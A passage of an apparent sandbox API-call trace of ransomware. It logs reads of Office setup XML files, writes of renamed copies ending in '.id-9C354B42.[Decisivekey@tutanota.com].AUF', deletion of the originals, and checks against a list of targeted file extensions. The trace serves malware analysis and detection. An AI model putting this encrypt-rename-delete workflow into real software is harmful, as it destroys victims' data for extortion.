Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.556] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.556] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.557] GetLastError () returned 0x0 [0211.557] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5061, lpOverlapped=0x0) returned 1 [0211.563] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0211.564] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.564] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.564] SetEndOfFile (hFile=0x1f0) returned 1 [0211.564] CloseHandle (hObject=0x1f0) returned 1 [0211.564] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.564] SetEndOfFile (hFile=0x1e0) returned 1 [0211.565] CloseHandle (hObject=0x1e0) returned 1 [0211.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString=".doc") returned 4 [0211.566] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString=".docx") returned 5 [0211.566] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.566] lstrlenW (lpString=".pdf") returned 4 [0211.566] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString=".xls") returned 4 [0211.566] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString=".xlsx") returned 5 [0211.566] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.566] lstrlenW (lpString=".ppt") returned 4 [0211.566] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString=".zip") returned 4 [0211.566] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.566] lstrlenW (lpString=".rar") returned 4 [0211.566] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString=".bz2") returned 4 [0211.566] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString=".7z") returned 3 [0211.566] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString=".dbf") returned 4 [0211.566] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString=".1cd") returned 4 [0211.566] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString=".jpg") returned 4 [0211.566] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.566] lstrlenW (lpString=".doc") returned 4 [0211.566] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString=".docx") returned 5 [0211.566] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.566] lstrlenW (lpString=".pdf") returned 4 [0211.566] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.566] lstrlenW (lpString=".xls") returned 4 [0211.566] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.567] lstrlenW (lpString=".xlsx") returned 5 [0211.567] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.567] lstrlenW (lpString=".ppt") returned 4 [0211.567] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.567] lstrlenW (lpString=".zip") returned 4 [0211.567] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.567] lstrlenW (lpString=".rar") returned 4 [0211.567] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.567] lstrlenW (lpString=".bz2") returned 4 [0211.567] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.567] lstrlenW (lpString=".7z") returned 3 [0211.567] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.567] lstrlenW (lpString=".dbf") returned 4 [0211.567] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.567] lstrlenW (lpString=".1cd") returned 4 [0211.567] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0211.567] lstrlenW (lpString=".jpg") returned 4 [0211.567] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.567] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.567] lstrlenW (lpString="VisiorWW.XML") returned 12 [0211.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.567] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=8723) returned 1 [0211.567] CloseHandle (hObject=0x1e0) returned 1 [0211.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0211.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.568] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.568] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.578] GetLastError () returned 0x0 [0211.578] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2213, lpOverlapped=0x0) returned 1 [0211.583] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0211.584] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.584] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0211.584] SetEndOfFile (hFile=0x1f0) returned 1 [0211.584] CloseHandle (hObject=0x1f0) returned 1 [0211.584] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.584] SetEndOfFile (hFile=0x1e0) returned 1 [0211.585] CloseHandle (hObject=0x1e0) returned 1 [0211.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.585] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0211.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.585] lstrlenW (lpString=".doc") returned 4 [0211.585] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.585] lstrlenW (lpString=".docx") returned 5 [0211.585] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.585] lstrlenW (lpString=".pdf") returned 4 [0211.585] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.585] lstrlenW (lpString=".xls") returned 4 [0211.585] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.585] lstrlenW (lpString=".xlsx") returned 5 [0211.585] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.585] lstrlenW (lpString=".ppt") returned 4 [0211.585] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.585] lstrlenW (lpString=".zip") returned 4 [0211.586] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.586] lstrlenW (lpString=".rar") returned 4 [0211.586] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString=".bz2") returned 4 [0211.586] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString=".7z") returned 3 [0211.586] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".dbf") returned 4 [0211.586] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".1cd") returned 4 [0211.586] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".jpg") returned 4 [0211.586] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".doc") returned 4 [0211.586] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString=".docx") returned 5 [0211.586] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.586] lstrlenW (lpString=".pdf") returned 4 [0211.586] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString=".xls") returned 4 [0211.586] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString=".xlsx") returned 5 [0211.586] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.586] lstrlenW (lpString=".ppt") returned 4 [0211.586] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".zip") returned 4 [0211.586] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.586] lstrlenW (lpString=".rar") returned 4 [0211.586] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString=".bz2") returned 4 [0211.586] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString=".7z") returned 3 [0211.586] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".dbf") returned 4 [0211.586] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".1cd") returned 4 [0211.586] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0211.586] lstrlenW (lpString=".jpg") returned 4 [0211.586] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.587] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.587] lstrlenW (lpString="SETUP.XML") returned 9 [0211.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.587] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2424) returned 1 [0211.587] CloseHandle (hObject=0x1e0) returned 1 [0211.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0211.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.588] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.588] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.588] GetLastError () returned 0x0 [0211.588] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x978, lpOverlapped=0x0) returned 1 [0211.594] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x980, lpOverlapped=0x0) returned 1 [0211.596] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.596] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.596] SetEndOfFile (hFile=0x1f0) returned 1 [0211.607] CloseHandle (hObject=0x1f0) returned 1 [0211.607] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.607] SetEndOfFile (hFile=0x1e0) returned 1 [0211.607] CloseHandle (hObject=0x1e0) returned 1 [0211.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.608] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString=".doc") returned 4 [0211.608] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString=".docx") returned 5 [0211.608] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.608] lstrlenW (lpString=".pdf") returned 4 [0211.608] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString=".xls") returned 4 [0211.608] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString=".xlsx") returned 5 [0211.608] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.608] lstrlenW (lpString=".ppt") returned 4 [0211.608] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString=".zip") returned 4 [0211.608] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.608] lstrlenW (lpString=".rar") returned 4 [0211.608] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString=".bz2") returned 4 [0211.608] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString=".7z") returned 3 [0211.608] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString=".dbf") returned 4 [0211.608] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString=".1cd") returned 4 [0211.608] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString=".jpg") returned 4 [0211.608] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.608] lstrlenW (lpString=".doc") returned 4 [0211.608] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.608] lstrlenW (lpString=".docx") returned 5 [0211.608] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.609] lstrlenW (lpString=".pdf") returned 4 [0211.609] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.609] lstrlenW (lpString=".xls") returned 4 [0211.609] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.609] lstrlenW (lpString=".xlsx") returned 5 [0211.609] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.609] lstrlenW (lpString=".ppt") returned 4 [0211.609] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.609] lstrlenW (lpString=".zip") returned 4 [0211.609] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.609] lstrlenW (lpString=".rar") returned 4 [0211.609] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.609] lstrlenW (lpString=".bz2") returned 4 [0211.609] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.609] lstrlenW (lpString=".7z") returned 3 [0211.609] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.609] lstrlenW (lpString=".dbf") returned 4 [0211.609] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.609] lstrlenW (lpString=".1cd") returned 4 [0211.609] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0211.609] lstrlenW 